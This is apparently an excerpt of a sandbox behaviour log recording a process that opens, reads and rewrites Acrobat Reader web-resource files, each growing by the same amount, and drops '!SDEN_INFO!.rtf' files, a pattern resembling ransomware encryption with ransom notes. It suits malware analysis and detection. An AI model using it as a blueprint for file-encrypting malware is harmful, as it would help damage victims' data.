File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ja-jp\ui-strings.js, size = 1207, size_out = 1207	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ja-jp\ui-strings.js, size = 2623	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\sl-si\ui-strings.js, size = 1184, size_out = 1184	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\sl-si\ui-strings.js, size = 2600	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\css\faf-main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\css\faf-main.css, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\css\faf-main.css, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\css\faf-main.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\css\faf-main.css, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\sample-thumb.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\sample-thumb.png, size = 6670, size_out = 6670	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\sample-thumb.png, size = 8086	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\sample-thumb.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\sample-thumb.png, size = 6670, size_out = 6670	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\sample-thumb.png, size = 8086	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\Comb_field_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\Comb_field_White@1x.png, size = 543, size_out = 543	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\Comb_field_White@1x.png, size = 1959	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\Comb_field_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\Comb_field_White@1x.png, size = 543, size_out = 543	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\Comb_field_White@1x.png, size = 1959	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\text_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\text_2x.png, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\text_2x.png, size = 2440	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\text_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\text_2x.png, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\text_2x.png, size = 2440	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\en-gb\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\en-gb\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\en-gb\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\nb-no\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\nb-no\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\nb-no\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\tr-tr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\tr-tr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\tr-tr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon_2x.png, size = 611, size_out = 611	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon_2x.png, size = 2027	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\ui-strings.js, size = 1105, size_out = 1105	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\ui-strings.js, size = 2521	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\da-dk\ui-strings.js, size = 931, size_out = 931	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\da-dk\ui-strings.js, size = 2347	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\pt-br\ui-strings.js, size = 931, size_out = 931	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ca-es\!SDEN_INFO!.rtf, size = 2347	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\file_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\hr-hr\!SDEN_INFO!.rtf, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\hr-hr\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\hr-hr\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\file_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\file_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\file_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\file_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\cs-cz\ui-strings.js, size = 1418, size_out = 1418	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\cs-cz\ui-strings.js, size = 2834	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-ma\ui-strings.js, size = 1450, size_out = 1450	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-ma\ui-strings.js, size = 2866	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pt-br\ui-strings.js, size = 1371, size_out = 1371	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pt-br\ui-strings.js, size = 2787	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\uk-ua\ui-strings.js, size = 1633, size_out = 1633	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\uk-ua\ui-strings.js, size = 3049	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\de-de\ui-strings.js, size = 851, size_out = 851	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\de-de\ui-strings.js, size = 2267	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hu-hu\ui-strings.js, size = 857, size_out = 857	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hu-hu\ui-strings.js, size = 2273	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ru-ru\ui-strings.js, size = 869, size_out = 869	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ru-ru\ui-strings.js, size = 2285	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\selector.js, size = 3991, size_out = 3991	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\selector.js, size = 5407	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\new_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\new_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\new_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\new_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\new_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\new_icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\new_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\new_icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fi-fi\ui-strings.js, size = 1074, size_out = 1074	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fi-fi\ui-strings.js, size = 2490	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\pl-pl\ui-strings.js, size = 1070, size_out = 1070	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\pl-pl\ui-strings.js, size = 2486	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\uk-ua\ui-strings.js, size = 1138, size_out = 1138	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\uk-ua\ui-strings.js, size = 2554	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-gb\ui-strings.js, size = 823, size_out = 823	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-gb\ui-strings.js, size = 2239	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ja-jp\ui-strings.js, size = 1103, size_out = 1103	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ja-jp\ui-strings.js, size = 2519	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sl-si\ui-strings.js, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sl-si\ui-strings.js, size = 2440	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\css\main-selector.css, size = 1178, size_out = 1178	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\css\main-selector.css, size = 2594	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-gb\ui-strings.js, size = 823, size_out = 823	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-gb\ui-strings.js, size = 2239	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ko-kr\ui-strings.js, size = 4953, size_out = 4953	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ko-kr\ui-strings.js, size = 6369	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sv-se\ui-strings.js, size = 4260, size_out = 4260	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sv-se\ui-strings.js, size = 5676	1	Fn
